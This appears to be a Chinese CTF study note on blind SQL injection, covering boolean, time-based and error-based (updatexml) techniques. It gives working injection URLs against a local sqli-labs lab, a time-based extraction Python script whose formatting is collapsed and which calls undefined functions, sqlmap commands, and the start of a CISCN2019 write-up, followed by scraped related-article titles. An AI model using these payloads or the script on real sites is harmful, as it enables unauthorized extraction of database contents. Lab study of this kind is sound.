1、什么是盲注

盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类

  • 基于布尔 SQL 盲注

  • 基于时间的 SQL 盲注

  • 基于报错的 SQL 盲注

0x01.基于布尔 SQL 盲注----------构造逻辑判断

left() :left(a,b)从左侧截取 a 的前 b 位

accii():Ascii()将某个字符转换 为 ascii

substr():substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。

ord():Ord()函数同 ascii(),将字符转为 ascii 值

mid():mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

正则注入:http://www.cnblogs.com/lcamry/articles/5717442.html

like 匹配注:

0x02.基于时间的 SQL 盲注

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假, 执行 sleep,通过响应的时间判断

0x03.基于报错的 SQL 盲注

报错注入有很多种方法,简单介绍一种,其他另行参考文章:

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

报错注入实例:

1.select * from news where id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1)
得到数据库为sqli
其他均相同:
数据库版本:
10.3.22-MariaDB-0+deb10u1
用户:
root@localhost
操作系统:
debian-linux-gnu
2,查询数据库的表
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1)
得到news,flag
查询列
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_name='flag') ,0x7e),1)
得到flag
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)由于回现字符数量限制,-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);

一、updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。

第二个参数:XPath_string (Xpath格式的字符串) 。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值。

由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

  • contact函数用于将多个字符串连接成一个字符串,是最重要的mysql函数之一
  • right(str, num):字符串从右开始截取num个字符
  • left(str,num):字符串从左开始截取num个字符
  • substr(str,N,M): 字符串从第N个字符开始,截取M个字符

2、sqllib less-5

1、left()

可以看出不显示结果,构造:

数据库的版本:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5 --+

数据库长度:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and length(database())=8 --+

猜测数据库第一位:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(database(),1)>'h' --+

可以使用二分法来提高效率;

2、利用 substr() ascii()函数进行测试

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
获取第一个字符 e 对应的为 101
第二个 substr(**,2,1) 即可
此处 table_schema 可以写成 =’security’,但是我们这里使用的 database(),是因
为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。
此处应该是 101,因为第一个表示 email。

这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那 要获取第二个是不是就是 limit 1,1。

然后一直测试。当然不能靠手猜了,可以python解决和sqlmap注入工具。

3、python手写版本

import requests
import time
#以第五关为例
def get_database():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='database = ''length=0for l in range(1,20):Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length(database())>{0},1,sleep(3))--+'UrlFormat = Url.format(l)      #format()函数使用start_time0 = time.time()        #发送请求前的时间赋值requests.get(UrlFormat,headers=headers)if  time.time() - start_time0 > 2:    #判断正确的数据库长度print('database length is ' + str(l))length = lbreakelse:passfor i in range(1,length+1):for char in chars:charAscii = ord(char) #char转换为asciiurl = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'urlformat = url.format(i,charAscii)start_time = time.time()requests.get(urlformat,headers=headers)if  time.time() - start_time > 2:database+=charprint('database: ',database)breakelse:passprint('database is ' + database)
def get_dbtables():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='for j in range(0,4):database = ''length = 0for l in range(1, 20):Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>{1},1,sleep(3))--+'UrlFormat = Url.format(j,l)  # format()函数使用start_time0 = time.time()  # 发送请求前的时间赋值requests.get(UrlFormat, headers=headers)if time.time() - start_time0 > 2:  # 判断正确的数据库长度print('table length is ' + str(l))length = lbreakelse:passfor i in range(1, length + 1):for char in chars:charAscii = ord(char)  # char转换为asciiurl = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2},1,sleep(3))--+'urlformat = url.format(j,i, charAscii)start_time = time.time()requests.get(urlformat, headers=headers)if time.time() - start_time > 2:database += charprint('第'+str(j)+'个表:')print('database: ', database)breakelse:passprint('第'+str(j)+'个表:'''+'database is ' + database)if __name__ == '__main__':get_database() #获取数据库名get_dbtables() #获取表名get_column() #获取列名get_column_content() #获取列的内容

数据库名获取正确:

表明获取正确

列名:select column_name from information_schema.columns where table_name='users' limit 0,1
跟爆表明一样
表内容:
select 列名 from 数据库.表名
只需要稍微改动上面的代码即可

4、sqlmap注入工具

python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --current-db
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables
#查询目标主机information_schema的表信息
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema"  --tables
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TMLM8xvc-1652880143247)(D:\我的\CTF学习\web安全笔记\SQL盲注.assets\image-20220518211533824.png)]

只是简单的工具的使用,具体可以参考这篇文章:

https://blog.csdn.net/weixin_46962006/article/details/121307150

三、CISCN2019 华北赛区 Day2 Web1]Hack World


扫描的前期工作就不赘述了,直接开始正题:
我们输入,1,2,发现回显正常,3,-1啥的都回显这个:

测试是否存在SQL注入:

1' and 1=1 #


这必然有漏洞,尝试了很多发现if(1=1,1,2)和0^1可以使用:

if(1=1,1,2)返回的是1 判断
0^1返回的也是1 异或


编写脚本爆信息:


SQL盲注及python脚本编写相关推荐

  1. sql盲注二分法注入脚本

    sql盲注二分法注入脚本 次脚本可以用来检测sql靶场第五关 http://caichuanqi.cn/lab/sqli-labs-master/Less-5/?id=1 #-*-coding:utf ...

  2. python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

    通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...

  3. mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注

    上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...

  4. 以dvwa为例学习简单sql布尔盲注的详细脚本

    0x01 前置知识 1.SQL注入与SQL盲注 SQL注入: 执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 一般在页面上直接就会显示执行sql语句的结果 S ...

  5. python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注

    一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...

  6. 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询

    前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...

  7. sql盲注 各种方法拿到 管理员账户和密码

    任务092:手动漏洞挖掘-SQL盲注笔记 介绍 web没有编写好显示过滤有数据库返回的报错信息,黑客可以通过报错信息了判断漏洞存在 下面就是没有过滤好发现了他存在sql漏洞 sql盲注就是看不见他报错 ...

  8. Dvwa之SQL盲注全级别学习笔记

    SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...

  9. SQL渗透与防御——(三)SQL盲注

    第三章 SQL盲注 1.Boolean-Base布尔型注入 布尔盲注 只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否. 布尔盲注方法 ' ...

  10. SQL盲注攻击的简单介绍

    SQL盲注攻击的简单介绍 1 简介      1.1 普通SQL注入技术概述      目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:      (1) 脚本注入式的 ...

最新文章

  1. 绝对布局优势_遇上狭长型卫生间基本没救?2种布局教会你,什么叫美观实用兼具...
  2. 关于Node.js中安装完express后不能使用express命令
  3. 判断一个js对象,是否具有某个属性
  4. python和c都是什么类型语言-常见的几种语言C,C#,JAVA,Python的运行原理
  5. C#如何连接带密码的access数据库?
  6. 23种设计模式JAVA案例
  7. 直线裁剪算法(Cohen-Sutherland,中点裁剪,Liang-Barsky)
  8. 本科论文查重经验分享
  9. 思维方式 | 深入浅出解释“第一性原理”
  10. 二级C语言office公共基础知识点
  11. 软件测试工程师人才需求量,软件测试工程师:人才缺口超20万 月薪达七八千
  12. Redis_数据类型(常用)
  13. _EPROCESS结构简单了解!
  14. EMV技术学习和研究(二)应用选择
  15. 【201903-1】小中大
  16. 超灵敏磁传感解决方案助力汽车产业发展
  17. 转:solr 从数据库导入数据,全量索引和增量索引(实例配置原理)
  18. 维纳辛钦定理的证明一
  19. 985、211学校分为哪八个档次?
  20. Mac如何显示完整英文路径

热门文章

  1. 海店湾:劲爆!这款APP的横空出世,是美女们的福利还是潮流?
  2. 算法引论:一种创造性方法(书)
  3. RPG游戏-NPC系统
  4. 游戏计算机lnv10,Win10日文游戏乱码转换工具(Locale Emulator)
  5. xp3系统配置cocos2dx
  6. 一文了解plc编程、电脑编程、手机APP编程、组态编程、云编程(下)
  7. 精心整理的NGINX面试题
  8. Android同文输入法的使用(开源输入法Trime)
  9. 解决Appium-windows安装时无法自动下载Appium-Desktop
  10. Vue使用阿里iconfont图标